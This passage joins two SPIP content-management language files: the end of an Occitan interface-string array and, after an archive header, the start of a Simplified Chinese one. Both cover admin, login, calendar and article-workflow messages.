'texte_proposer_publication' => 'Quand auretz achabat vòstre article,<br /> poiretz prepausar que siá publicat.',
'texte_proxy' => 'Dins quauques cas (intranet, rets protegias...),
se pòt que chalha utilizar un <i>proxy HTTP</i> per aténher los sits sindicats.
En aqueu cas, marcatz çai sos son adreiça, sos la forma
<tt><html>http://proxy:8080</html></tt>. En generau,
laissaretz voida aquela casa.',
'texte_publication_articles_post_dates' => 'Coma SPIP se deu comportar fàcia als articles que lor
data de publicacion es fixaa a una
eschaiença futura?',
'texte_rappel_selection_champs' => '[Eissublietz pas de seleccionar aqueu champ correctament.]',
'texte_recalcul_page' => 'Se volètz
tornar calcular mas qu’una pagina, passatz puslèu per l’espaci public e utilizatz lo boton "tornar calcular".',
'texte_recapitiule_liste_documents' => 'Aquesta pagina recapitula la tiera dels documents qu’avètz plaçats dins las rubricas. Per modificar las informacions de chasque document, seguètz lo liam vèrs la pagina de sa rubrica.',
'texte_recuperer_base' => 'Reparar la basa de donaas',
'texte_reference_mais_redirige' => 'article referenciat dins vòstre sit SPIP, mas redirigit vèrs una autra URL.',
'texte_requetes_echouent' => '<b>Quand quauques requistas SQL capitan mau
sistematicament e sensa rason aparenta, se pòt
qu’aquò vena ben de la basa de donaas. </b><p>
SQL ten la facultat de reparar sas
taulas quand un accident las
a gastaas. Aicí poètz assaiar aquela reparacion;
s’abotís pas, servatz una còpia de l’afichatge, que conten
benlèu d’indicis de çò que vai pas...<p>
Se lo problèma persistís, contactatz vòstre
auberjaor.<p>', # MODIF
'texte_selection_langue_principale' => 'Poètz seleccionar çai sos la "lenga principala" dau sit. Aquela chausia vos obliga pas -per fortuna- d’escriure vòstres articles dins la lenga seleccionaa, mas permet de determinar:
<ul><li> lo format predefinit de las datas sobre lo sit public;</li>
<li> la natura dau motor tipografic que SPIP deu utilizar per lo rendut dels tèxtes;</li>
<li> la lenga utilizaa dins los formularis dau sit public;</li>
<li> la lenga presentaa coma predefinia dins l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostítol',
'texte_statistiques_visites' => '(barras escuras: dimenge / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en espèra de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'refusats',
'texte_suppression_fichiers' => 'Utilizatz aquela comanda per suprimir tots los fichiers que se tròban
dins l’escondeor SPIP. Aquò permet per exemple de forçar un calcul nòu de totas las paginas
s’avètz bravament modificat lo grafisme o l’estructura dau sit.',
'texte_sur_titre' => 'Sobretítol',
'texte_table_ok' => ': aquesta taula es condrecha.',
'texte_tables_indexation_vides' => 'Las taulas d’indexacion dau motor son voidas.',
'texte_tentative_recuperation' => 'Assai de reparacion',
'texte_tenter_reparation' => 'Assajar de reparar la basa de donaas',
'texte_test_proxy' => 'Per assajar aqueu proxy, indicatz aicí l’adreiça d’un sit web
que lo voudriatz esprovar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ a trabalhat sus aquel article aquò fai @date_diff@ minutas',
'texte_travail_collaboratif' => 'Quand es frequent que mai d’un redactor
trabalhe sobre lo mesme article, lo sistèma
pòt afichar los articles recentament "dubèrts"
a fin d’evitar las modificacions simultanèas.
Aquela opcion es desactivaa de maniera predefinia
a fin d’evitar d’afichar de messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròp de resultats per "@cherche_auteur@" ; vougatz afinar la cèrcha.',
'texte_unpack' => 'telecharjament de la darriera version',
'texte_utilisation_moteur_syndiques' => 'Quand utilizatz lo cerchaor integrat
a SPIP, poètz far las cèrchas sus los sits e
articles sindicats de doas manieras
diferentas. <br /><img src=\'puce.gif\' /> Lo mai
simple consistís a cerchar solament dins los
títols e descriptius dels articles. <br /><img src=\'puce.gif\' />
La segonda maniera, ben mai potenta, permet
a SPIP de cerchar pereu dins lo tèxt dels
sits referenciats.
Se referenciatz un sit, alora SPIP farà la
cèrcha dins lo tèxt dau sit mesme.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Aqueu metòde obliga SPIP de vesitar
regularament los sits referenciats,
aquò pòt alentir un pauc vòstre sit
pròpri.',
'texte_vide' => 'voide',
'texte_vider_cache' => 'Voidar l’escondeor',
'titre_admin_effacer' => 'Mantenença tecnica',
'titre_admin_tech' => 'Mantenença tecnica',
'titre_admin_vider' => 'Mantenença tecnica',
'titre_cadre_afficher_article' => 'Afichar los articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat de las reviraas per las lengas seguentas:',
'titre_cadre_ajouter_auteur' => 'APONDRE UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Dedins la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NUMÈRO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_fonctions' => 'Configuracion dau sit',
'titre_configuration' => 'Configuracion dau sit',
'titre_connexion_ldap' => 'Opcions: <b>Vòstra connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MOTS:',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E REVIRAAS DE L’ARTICLE',
'titre_les_articles' => 'LOS ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar per lo sit...',
'titre_nouvelle_rubrique' => 'Rubrica novèla',
'titre_numero_rubrique' => 'RUBRICA NUMÈRO:',
'titre_page_admin_effacer' => 'Mantenença tecnica: esfaçar la basa',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Los articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Vesitaires',
'titre_page_calendrier' => 'Chalendier @nom_mois@ de @annee@',
'titre_page_config_contenu' => 'Configuracion dau sit',
'titre_page_config_fonctions' => 'Configuracion dau sit',
'titre_page_configuration' => 'Configuracion dau sit',
'titre_page_controle_petition' => 'Seguit de las peticions',
'titre_page_delete_all' => 'supression totala e irreversibla',
'titre_page_documents_liste' => 'Los documents de las rubricas',
'titre_page_index' => 'Vòstre espaci privat',
'titre_page_message_edit' => 'Redigir un messatge',
'titre_page_messagerie' => 'Vòstra messatjariá',
'titre_page_recherche' => 'Resultats de la cèrcha @recherche@',
'titre_page_statistiques_referers' => 'Estadisticas (liams intrants)',
'titre_page_upgrade' => 'Mesa a nivèu d’SPIP',
'titre_publication_articles_post_dates' => 'Publicacion dels articles pòstdatats',
'titre_referencer_site' => 'Referenciar lo sit:',
'titre_rendez_vous' => 'RENDÈTZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Seguit de las peticions',
'trad_article_inexistant' => 'I a ges d’article que pòrte aqueu numèro.',
'trad_article_traduction' => 'Totas las versions d’aquel article:',
'trad_deja_traduit' => 'Aquel article ja es una reviraa de l’article present.',
'trad_delier' => 'Pas pus liar aquest article a sas reviraas ', # MODIF
'trad_lier' => 'Aquest article es una reviraa de l’article numèro:',
'trad_new' => 'Escriure una reviraa novèla d’aquest article' # MODIF
);
?>
spip_zh.php 0000666 00000066423 15252547432 0006761 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-zh',
'0_langue' => '简体中文 [zh]',
'0_liste' => 'spip-zh@rezo.net',
'0_mainteneur' => 'Lily Zou (lily.zou@terra.com.cn)
Zhen QIN (zhen_q@21cn.com)',
// A
'access_interface_graphique' => '返回完整显示模式',
'access_mode_texte' => '显示简洁显示模式',
'admin_debug' => '除錯',
'admin_modifier_article' => '修改文章',
'admin_modifier_auteur' => '修改作者',
'admin_modifier_breve' => '修改简要',
'admin_modifier_mot' => '修改关键词',
'admin_modifier_rubrique' => '修改此栏',
'admin_recalculer' => '刷新页面',
'afficher_trad' => '显示译文',
'alerte_maj_impossible' => '<b>警告!</b> 更新SQL到版本 @version@失败, 可能是数据库权限问题. 请联系您的ISP(INTERNET服务提供商) .', # MODIF
'alerte_modif_info_concourante' => '注意:这条信息在别处被更改。目前值为 :', # MODIF
'analyse_xml' => 'XML分析',
'annuler' => '取消',
'antispam_champ_vide' => '请保留此格空白:',
'articles_recents' => '最新文章',
'avis_archive_incorrect' => '打包文件不是有效的SPIP文件',
'avis_archive_invalide' => '打包文件无效',
'avis_attention' => '注意!',
'avis_champ_incorrect_type_objet' => '无效名 @name@ 对象名 @type@',
'avis_colonne_inexistante' => ' @col@ 列不存在',
'avis_erreur' => '错误: 参见以下',
'avis_erreur_connexion' => '连接失败',
'avis_erreur_cookie' => 'cookie错误',
'avis_erreur_fonction_contexte' => '程序失败. 该功能不能在此调用.', # MODIF
'avis_erreur_mysql' => 'SQL错误', # MODIF
'avis_erreur_sauvegarde' => '@type@ @id_objet@备份失败!',
'avis_erreur_visiteur' => '访问个人空间出错',
// B
'barre_a_accent_grave' => '插入加重的字符',
'barre_aide' => '用象征图快捷定义展出',
'barre_e_accent_aigu' => '插入加重的E ',
'barre_eo' => '插入oe [法文输入]',
'barre_eo_maj' => '在O之后插入E[法文OE输入]',
'barre_euro' => '插入欧元标志€',
'barre_gras' => '置为{{黑体}}',
'barre_guillemets' => '加双引号',
'barre_guillemets_simples' => '加单引号',
'barre_intertitre' => '转为{{{小标题}}}',
'barre_italic' => '置为{斜体}',
'barre_lien' => '转为超文本链接[http://...]',
'barre_lien_input' => '请输入目标链接(您可以使用 http://www.mysite.com的格式或直接指出在本站中该文章的编号).',
'barre_note' => '转为[[页尾标号]]',
'barre_paragraphe' => '新建段落', # MODIF
'barre_quote' => '<quote>引用一个消息</quote>',
'bouton_changer' => '修改',
'bouton_chercher' => '搜索',
'bouton_choisir' => '选择',
'bouton_enregistrer' => '保存',
'bouton_radio_desactiver_messagerie_interne' => '停用内部消息',
'bouton_radio_envoi_annonces' => '发送可编辑的声明',
'bouton_radio_non_envoi_annonces' => '不使用任何声明',
'bouton_radio_non_envoi_liste_nouveautes' => '不发送最近新闻列表',
'bouton_recharger_page' => '重载本页',
'bouton_telecharger' => '上传',
'bouton_upload' => '上传', # MODIF
'bouton_valider' => '提交',
// C
'cal_apresmidi' => '下午',
'cal_jour_entier' => '整日',
'cal_matin' => '早晨',
'cal_par_jour' => '按日显示日程',
'cal_par_mois' => '按月显示日程',
'cal_par_semaine' => '按周显示日程',
'choix_couleur_interface' => '颜色',
'choix_interface' => '界面切换', # MODIF
'colonne' => '列',
'confirm_changer_statut' => '注意，您要求改变这一项目的状态。请确认继续。',
'correcte' => '生效', # MODIF
// D
'date_aujourdhui' => '今天',
'date_avant_jc' => '公元前',
'date_dans' => '在 @delai@之内。',
'date_de_mois_1' => '@nommois@@j@日',
'date_de_mois_10' => '@nommois@@j@日',
'date_de_mois_11' => '@nommois@@j@日',
'date_de_mois_12' => '@nommois@@j@日',
'date_de_mois_2' => '@nommois@@j@日',
'date_de_mois_3' => '@nommois@@j@日',
'date_de_mois_4' => '@nommois@@j@日',
'date_de_mois_5' => '@nommois@@j@日',
'date_de_mois_6' => '@nommois@@j@日',
'date_de_mois_7' => '@nommois@@j@日',
'date_de_mois_8' => '@nommois@@j@日',
'date_de_mois_9' => '@nommois@@j@日',
'date_demain' => '明天',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@@heure@时',
'date_fmt_jour_mois' => '@nommois@@jour@日',
'date_fmt_jour_mois_annee' => '@annee@年@nommois@@jour@日',
'date_fmt_mois_annee' => '@annee@年@nommois@',
'date_fmt_nomjour_date' => '@nomjour@ 日@date@',
'date_heures' => '小时',
'date_hier' => '昨天',
'date_il_y_a' => ' @delai@以前',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => '星期日',
'date_jour_1_abbr' => '周日',
'date_jour_1_initiale' => '星期天',
'date_jour_2' => '星期一',
'date_jour_2_abbr' => '周一',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => '星期二',
'date_jour_3_abbr' => '星期二',
'date_jour_3_initiale' => '二',
'date_jour_4' => '星期三',
'date_jour_4_abbr' => '周三',
'date_jour_4_initiale' => '三',
'date_jour_5' => '星期四',
'date_jour_5_abbr' => '周四',
'date_jour_5_initiale' => '四',
'date_jour_6' => '星期五',
'date_jour_6_abbr' => '周五',
'date_jour_6_initiale' => '五',
'date_jour_7' => '星期六',
'date_jour_7_abbr' => '周六',
'date_jour_7_initiale' => '六',
'date_jours' => '天',
'date_minutes' => '分钟',
'date_mois' => '月',
'date_mois_1' => '1月',
'date_mois_10' => '10月',
'date_mois_10_abbr' => '十月',
'date_mois_11' => '11月',
'date_mois_11_abbr' => '十一月',
'date_mois_12' => '12月',
'date_mois_12_abbr' => '十二月',
'date_mois_1_abbr' => '一月',
'date_mois_2' => '2月',
'date_mois_2_abbr' => '二月',
'date_mois_3' => '3月',
'date_mois_3_abbr' => '三月',
'date_mois_4' => '4月',
'date_mois_4_abbr' => '四月',
'date_mois_5' => '5月',
'date_mois_5_abbr' => '五月',
'date_mois_6' => '6月',
'date_mois_6_abbr' => '六月',
'date_mois_7' => '7月',
'date_mois_7_abbr' => '七月',
'date_mois_8' => '8月',
'date_mois_8_abbr' => '八月',
'date_mois_9' => '9月',
'date_mois_9_abbr' => '九月',
'date_saison_1' => '冬季',
'date_saison_2' => '春季',
'date_saison_3' => '夏季',
'date_saison_4' => '秋季',
'date_semaines' => '周',
'dirs_commencer' => '为了开始安装',
'dirs_preliminaire' => '初步: <b>设置访问权限</b>',
'dirs_probleme_droits' => '访问权限问题', # MODIF
'dirs_repertoires_absents' => '<b>未找到下列目录: <ul>@bad_dirs@.</ul> </b>
<p>可能由于输入大小写有误.
请确认目录的大小写正确; 如果不正确, 可通过FTP软件修改目录名字以纠错.<p>一旦完成,您可以', # MODIF
'dirs_repertoires_suivants' => '<b>以下目录无写权限: <ul>@bad_dirs@.</ul> </b>
<p>修改权限请使用FTP客户端为每个目录设定访问权限. 该操作在用户指南中有详细介绍.
<p>一旦完成,您可以', # MODIF
// E
'envoi_via_le_site' => '通过本网站发送',
// F
'fichier_introuvable' => '找不到@fichier@文件',
'form_deja_inscrit' => '您已注册.',
'form_email_non_valide' => '您的电子邮件无效.',
'form_forum_access_refuse' => '您无权继续访问该站点.',
'form_forum_bonjour' => '您好@nom@，', # MODIF
'form_forum_email_deja_enregistre' => '该电子邮件地址已经记录,您可以使用常用密码.',
'form_forum_identifiant_mail' => '您的新标识已经通过邮件发送给您了.',
'form_forum_identifiants' => '个人标识符',
'form_forum_indiquer_nom_email' => '输入您的名字和电子邮件地址,您将很快通过电子邮件获取您的个人标识符.',
'form_forum_login' => '登录:',
'form_forum_message_auto' => '(这是自动消息)',
'form_forum_pass' => '密码:',
'form_forum_probleme_mail' => '邮件问题: 标识符不能被发送.',
'form_forum_voici1' => '这是您加入站点网站编辑和论坛的标识符 "@nom_site_spip@" (@adresse_site@):', # MODIF
'form_forum_voici2' => '这是您提交文章的标识符
"@nom_site_spip@" (@adresse_login@):', # MODIF
'form_indiquer_email' => '请输入您的电子邮件地址.',
'form_indiquer_nom' => '请输入您的名字.',
'form_indiquer_nom_site' => '请输入您的站点名字.',
'form_pet_deja_enregistre' => '站点已经注册',
'form_pet_signature_pasprise' => '签名被忽略.',
'form_prop_confirmer_envoi' => '确认发送',
'form_prop_description' => '描述/注释',
'form_prop_enregistre' => '你的提议已经被记录, 站点管理员使它有效它将在线显示.',
'form_prop_envoyer' => '发送消息',
'form_prop_indiquer_email' => '请输入有效的电子邮件地址',
'form_prop_indiquer_nom_site' => '请输入站点名',
'form_prop_indiquer_sujet' => '请输入标题',
'form_prop_message_envoye' => '消息发送',
'form_prop_non_enregistre' => '您的提议未被记录.',
'form_prop_sujet' => '标题',
'form_prop_url_site' => '站点URL', # MODIF
'forum_non_inscrit' => '可能您还没有注册或者您输入的地址或密码错误.',
'forum_par_auteur' => '按 @auteur@',
'forum_titre_erreur' => '错误...',
// I
'ical_texte_rss_articles' => '本站点文章的«引用»文件地址:',
'ical_texte_rss_articles2' => '您同样可以获得站点中各个专栏下文章的«引用»文件:',
'ical_texte_rss_breves' => '存在多个站点简要的文件.通过指出专栏编号,您可以获得仅与该专栏相关的简要.',
'icone_a_suivre' => '跟踪',
'icone_admin_site' => '站点管理',
'icone_agenda' => '记事',
'icone_aide_ligne' => '帮助', # MODIF
'icone_articles' => '文章',
'icone_auteurs' => '作者',
'icone_brouteur' => '快速浏览',
'icone_configuration_site' => '配置', # MODIF
'icone_configurer_site' => '配置站点',
'icone_creer_nouvel_auteur' => '新建一个作者',
'icone_creer_rubrique' => '新建专栏',
'icone_creer_sous_rubrique' => '新建子专栏',
'icone_deconnecter' => '断开连接',
'icone_discussions' => '讨论',
'icone_doc_rubrique' => '各专栏文档',
'icone_ecrire_article' => '写新文章',
'icone_edition_site' => '编辑', # MODIF
'icone_gestion_langues' => '语言管理',
'icone_informations_personnelles' => '个人信息',
'icone_interface_complet' => '完整界面',
'icone_interface_simple' => '简单界面',
'icone_maintenance_site' => '站点维护',
'icone_messagerie_personnelle' => '个人消息',
'icone_repartition_debut' => '显示从开始的分布',
'icone_rubriques' => '专栏',
'icone_sauver_site' => '站点备份',
'icone_site_entier' => '整个站点',
'icone_sites_references' => '参考站点',
'icone_statistiques' => '站点统计',
'icone_suivi_activite' => '跟踪站点的活动',
'icone_suivi_actualite' => '站点评估',
'icone_suivi_pettions' => '跟踪/管理请求',
'icone_suivi_revisions' => '文章修改',
'icone_supprimer_document' => '删除文档',
'icone_supprimer_image' => '删除图片',
'icone_tous_articles' => '您所有的文章',
'icone_tous_auteur' => '所有作者',
'icone_visiter_site' => '访问', # MODIF
'icone_voir_en_ligne' => '在线预览',
'img_indisponible' => '必需图像',
'info_a_suivre' => '跟踪 »',
'info_acces_interdit' => '访问禁止',
'info_acces_refuse' => '访问拒绝',
'info_action' => '动作: @action@',
'info_administrer_rubriques' => '您可以管理该专栏及其子专栏',
'info_adresse_non_indiquee' => '您没有指定测试地址!',
'info_aide' => '帮助:',
'info_ajouter_mot' => '添加关键词',
'info_annonce' => '声明',
'info_annonces_generales' => '一般声明:',
'info_article_propose' => '已提交的文章',
'info_article_publie' => '已发表的文章',
'info_article_redaction' => '进展中的文章',
'info_article_refuse' => '丢弃的文章',
'info_article_supprime' => '删除的文章',
'info_articles' => '文章',
'info_articles_a_valider' => '需要确认的文章',
'info_articles_proposes' => '提交的文章',
'info_auteurs_nombre' => '作者:',
'info_authentification_ftp' => '(通过 FTP)验证.',
'info_breves_2' => '简要',
'info_connexion_refusee' => '连接禁止',
'info_contact_developpeur' => '请联系开发者.',
'info_contenance' => '站点包括:',
'info_contribution' => '论坛投稿', # MODIF
'info_copyright' => '@spip@是一款免费软件@lien_gpl@。',
'info_copyright_doc' => '详细信息,请访问站点 <a href="@spipnet@">http://www.spip.net/zh</a>.', # MODIF
'info_copyright_gpl' => '根据GPL协议',
'info_cours_edition' => '进展中文章',
'info_creer_repertoire' => '请创建一个文件或目录叫:',
'info_creer_repertoire_2' => '在<b>@repertoire@</b>子目录内部，然后 ：',
'info_creer_vignette' => '自动产生图标',
'info_deplier' => '展开',
'info_descriptif_nombre' => '描述:',
'info_description' => '描述:',
'info_description_2' => '描述:',
'info_dimension' => '大小:',
'info_ecire_message_prive' => '写一个私有信息',
'info_email_invalide' => '无论电子邮件地址.',
'info_en_cours_validation' => '进展中的文章',
'info_en_ligne' => '现在在线:',
'info_envoyer_message_prive' => '给作者发一个私有信息',
'info_erreur_requete' => '错误查询:',
'info_erreur_squelette2' => '所有面板<b>@fichier@</b>均无效...',
'info_erreur_systeme' => '系统错误 (errno @errsys@)',
'info_erreur_systeme2' => '硬盘无足够空间,或数据库遭破坏。<br />
<span style="color:red;">请试用 <a href=\'@script@\'>修复数据库</a>，
或者联系您的管理员。</span>', # MODIF
'info_fini' => '完成了!',
'info_format_image' => '图片格式被用来创建插图: @gd_formats@.',
'info_format_non_defini' => '未定义格式',
'info_grand_ecran' => '大图显示',
'info_image_aide' => '帮助',
'info_image_process_titre' => '生成图标的方法',
'info_impossible_lire_page' => '<b>错误!</b>通过代理服务，此页不能阅读<tt><html>@test_proxy@</html></tt>',
'info_installation_systeme_publication' => '公众系统安装 ...',
'info_installer_documents' => '您可以自动安装 @upload@ 中所有文件。',
'info_installer_ftp' => '作为管理员，您可安装(通过 FTP)@upload@中文件使得以后能从这儿选择.',
'info_installer_images' => '你可安装的图片格式 JPEG, GIF 及其它 PNG.',
'info_installer_images_dossier' => '安装@upload@目录中的图片以便在这里可以选择他们。',
'info_interface_complete' => '完整界面',
'info_interface_simple' => '简单界面 ',
'info_joindre_document_article' => '你可附上你的文章的附加文档的类型',
'info_joindre_document_rubrique' => '您可加入该栏的文档类型',
'info_joindre_documents_article' => '你可附上你文章的附加文档的类型:',
'info_l_article' => '文章',
'info_la_breve' => '新闻',
'info_la_rubrique' => '专栏',
'info_langue_principale' => '主站点语言',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ 像素', # MODIF
'info_les_auteurs_1' => '按 @les_auteurs@',
'info_logo_format_interdit' => '仅@formats@格式之文件被允许作标志',
'info_logo_max_poids' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => '消息',
'info_message_supprime' => '删除的消息',
'info_mise_en_ligne' => '在线出版物的日期:',
'info_modification_parametres_securite' => '修改安全参数',
'info_mois_courant' => '在月中:',
'info_mot_cle_ajoute' => '下列关键被加进',
'info_multi_herit' => '缺省语言',
'info_multi_langues_soulignees' => '<u>加下划线的语言</u> 提供了所有界面的语言的翻译. 如果你选择语言, 公共站点的所有元素 (日期, 论坛) 将被自动翻译. 作为没有下划线的语言, 这些元素将出现在站点的主语言界面上.', # MODIF
'info_multilinguisme' => '多语言',
'info_nom_non_utilisateurs_connectes' => '你的名字不显示在连接用户的列表中.',
'info_nom_utilisateurs_connectes' => '你的名字显示在连接用户的列表中.',
'info_nombre_en_ligne' => '现在在线:',
'info_non_resultat' => ' "@cherche_mot@"没有结果',
'info_non_utilisation_messagerie' => '你没有使用站点内部消息.',
'info_nouveau_message' => '你有新消息',
'info_nouveaux_messages' => '你有 @total_messages@ 条新消息',
'info_numero_abbreviation' => '第 ',
'info_pense_bete' => '忘备',
'info_petit_ecran' => '小图显示',
'info_pixels' => '像素',
'info_plusieurs_mots_trouves' => '几个关键词找到了 "@cherche_mot@":',
'info_portfolio_automatique' => '自动相册:',
'info_premier_resultat' => '[@debut_limit@ 最新结果出了 @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ 最新结果出了@total@]',
'info_propose_1' => '[@nom_site_spip@] 提交: @titre@',
'info_propose_2' => '提交文章
-----------------',
'info_propose_3' => '文章 "@titre@" 提交给公众.',
'info_propose_4' => '你被邀请预览它发表你的观念',
'info_propose_5' => '在论坛中连向它. 在地址中可用到:',
'info_publie_01' => '文章 "@titre@" 被 @connect_nom@确认.',
'info_publie_1' => '[@nom_site_spip@] 出版: @titre@',
'info_publie_2' => '出版的文章
-----------------',
'info_rechercher' => '搜索',
'info_rechercher_02' => '搜索:',
'info_remplacer_vignette' => '用定制的图标取代缺省的图标:',
'info_sans_titre_2' => '无标题',
'info_selectionner_fichier' => '从@upload@文件中选择一个文件', # MODIF
'info_selectionner_fichier_2' => '选择一个文件:',
'info_supprimer_vignette' => '删除小插图',
'info_symbole_bleu' => '<b>蓝色</b>标志<b>备注</b>：例如个人使用的消息.', # MODIF
'info_symbole_jaune' => '<b>黄色</b>表示<b>对所有编辑者声明</b> ：所有站点管理者都能看见并编辑。', # MODIF
'info_symbole_vert' => '<b>绿色</b>表示<b>站点中与其它用户交换的信息</b>。', # MODIF
'info_telecharger_nouveau_logo' => '上传新图标:',
'info_telecharger_ordinateur' => '从你的电脑上传:',
'info_tous_resultats_enregistres' => '[所有结果被记录]',
'info_tout_afficher' => '显示所有',
'info_travaux_texte' => '站点还未建立. 请稍后再来...',
'info_travaux_titre' => '站点正在施工中',
'info_trop_resultat' => ' "@cherche_mot@"有太多结果; 请重定义搜索.',
'info_utilisation_messagerie_interne' => '你正使用站点的内部消息.',
'info_valider_lien' => '使连接有效',
'info_verifier_image' => ', 请确定你的图片已正确传送.',
'info_vignette_defaut' => '缺省的小插图',
'info_vignette_personnalisee' => '定制小插图',
'info_visite' => '访问:',
'info_vos_rendez_vous' => '将来的约会',
'infos_vos_pense_bete' => '备注', # MODIF
// L
'lien_afficher_icones_seuls' => '只显示图片',
'lien_afficher_texte_icones' => '显示文本和图片',
'lien_afficher_texte_seul' => '只显示正文',
'lien_liberer' => '发表',
'lien_liberer_tous' => '释放这些文章', # MODIF
'lien_nouvea_pense_bete' => '新备注',
'lien_nouveau_message' => '新消息',
'lien_nouvelle_annonce' => '新声明',
'lien_petitions' => '请求',
'lien_popularite' => '普及: @popularite@%',
'lien_racine_site' => '站点根',
'lien_reessayer' => '重试',
'lien_repondre_message' => '回应消息',
'lien_supprimer' => '删除',
'lien_tout_afficher' => '显示所有',
'lien_visite_site' => '访问站点',
'lien_visites' => '@visites@ 访问',
'lien_voir_auteur' => '检查作者',
'login_acces_prive' => '访问私有区',
'login_autre_identifiant' => '用另一个标识符',
'login_cookie_accepte' => '请设定你的浏览器接受它们 (至少是这个站点a).',
'login_cookie_oblige' => '为安全的标识你,你必须接受cookies.',
'login_deconnexion_ok' => '已断开连接.',
'login_erreur_pass' => '密码错.',
'login_espace_prive' => '私有区',
'login_identifiant_inconnu' => '标识符 "@login@" 不可认.',
'login_login' => '登录:',
'login_login2' => '登录(连接到站点的标识符):', # MODIF
'login_login_pass_incorrect' => '(错误的登录和密码).',
'login_motpasseoublie' => '忘记密码?',
'login_non_securise' => '警告, 论坛不安全.
如果你不愿自己的密码中途侦听到
, 请激活你浏览器的 Javascript
并且',
'login_nouvelle_tentative' => '新尝试',
'login_par_ici' => '你已注册... 这种方法...',
'login_pass2' => '密码:',
'login_preferez_refuser' => '<b>如果你更愿意拒绝 cookies</b>, 有其它的连接方法 (安全性要低一些) :',
'login_recharger' => '重载该页',
'login_rester_identifie' => '保留登录几天',
'login_retour_public' => '返回公共站点',
'login_retour_site' => '返回公共站点',
'login_retoursitepublic' => '返回公共站点',
'login_sans_cookiie' => '无COOKIE的标识',
'login_sinscrire' => '注册',
'login_test_navigateur' => '测试浏览/重新连接',
'login_verifiez_navigateur' => '(无论如何, 请确认你的浏览器不会记住你的密码...)',
// M
'module_fichiers_langues' => '语言文件',
// N
'navigateur_pas_redirige' => '如果您的浏览器没有跳转,请按这里继续.',
// O
'onglet_affacer_base' => '删除数据库',
'onglet_auteur' => '作者',
'onglet_contenu_site' => '站点内容',
'onglet_evolution_visite_mod' => '评估',
'onglet_fonctions_avances' => '高级功能',
'onglet_informations_personnelles' => '个人信息',
'onglet_interactivite' => '互动',
'onglet_messagerie' => '消息',
'onglet_repartition_rubrique' => '按专栏发布',
'onglet_save_restaur_base' => '备份/恢复数据库',
'onglet_vider_cache' => '清空缓存',
// P
'pass_choix_pass' => '请选择新密码:',
'pass_erreur' => '错误',
'pass_erreur_acces_refuse' => '<b>错误:</b> 你再也无权访问站点.',
'pass_erreur_code_inconnu' => '<b>错误:</b> 代码不符合任何有站点访问权的访问者.',
'pass_erreur_non_enregistre' => '<b>错误 :</b> 地址<tt>@email_oubli@</tt> 未在站点注册.',
'pass_erreur_non_valide' => '<b>错误 :</b> 电子邮件 <tt>@email_oubli@</tt> 无效!',
'pass_erreur_probleme_technique' => '<b>错误 :</b> 电子邮件由于技术原因不能发送.',
'pass_espace_prive_bla' => '注册后站点的私有区对访问者开放
. 一旦注册,
你可以预览进展中的文章,
提交文章参与所有的论坛.',
'pass_forum_bla' => '你已请求参与论坛
注册访问者保留区.',
'pass_indiquez_cidessous' => '在以下输入你以前注册的电子邮件地址
.你
将收到电子邮件
向你解释如何得到访问.',
'pass_mail_passcookie' => '(这是自动消息)
要重新访问站点
@nom_site_spip@ (@adresse_site@)
请到以下地址:
@sendcookie@
您可以输入新密码
重新连接到站点。
', # MODIF
'pass_mot_oublie' => '忘记密码',
'pass_nouveau_enregistre' => '你的新密码已经被记录.',
'pass_nouveau_pass' => '新密码',
'pass_ok' => '好',
'pass_oubli_mot' => '忘记密码',
'pass_quitter_fenetre' => '退出窗口',
'pass_rappel_login' => '记住: 你的标识符(登录) 是 "@login@".',
'pass_recevoir_mail' => '你将收到电子邮件解释如何访问站点.',
'pass_retour_public' => '返回公众站点',
'pass_rien_a_faire_ici' => '这里无事可作.',
'pass_vousinscrire' => '登记站点',
'precedent' => '前一个',
'previsualisation' => '预览',
'previsualiser' => '预览',
// S
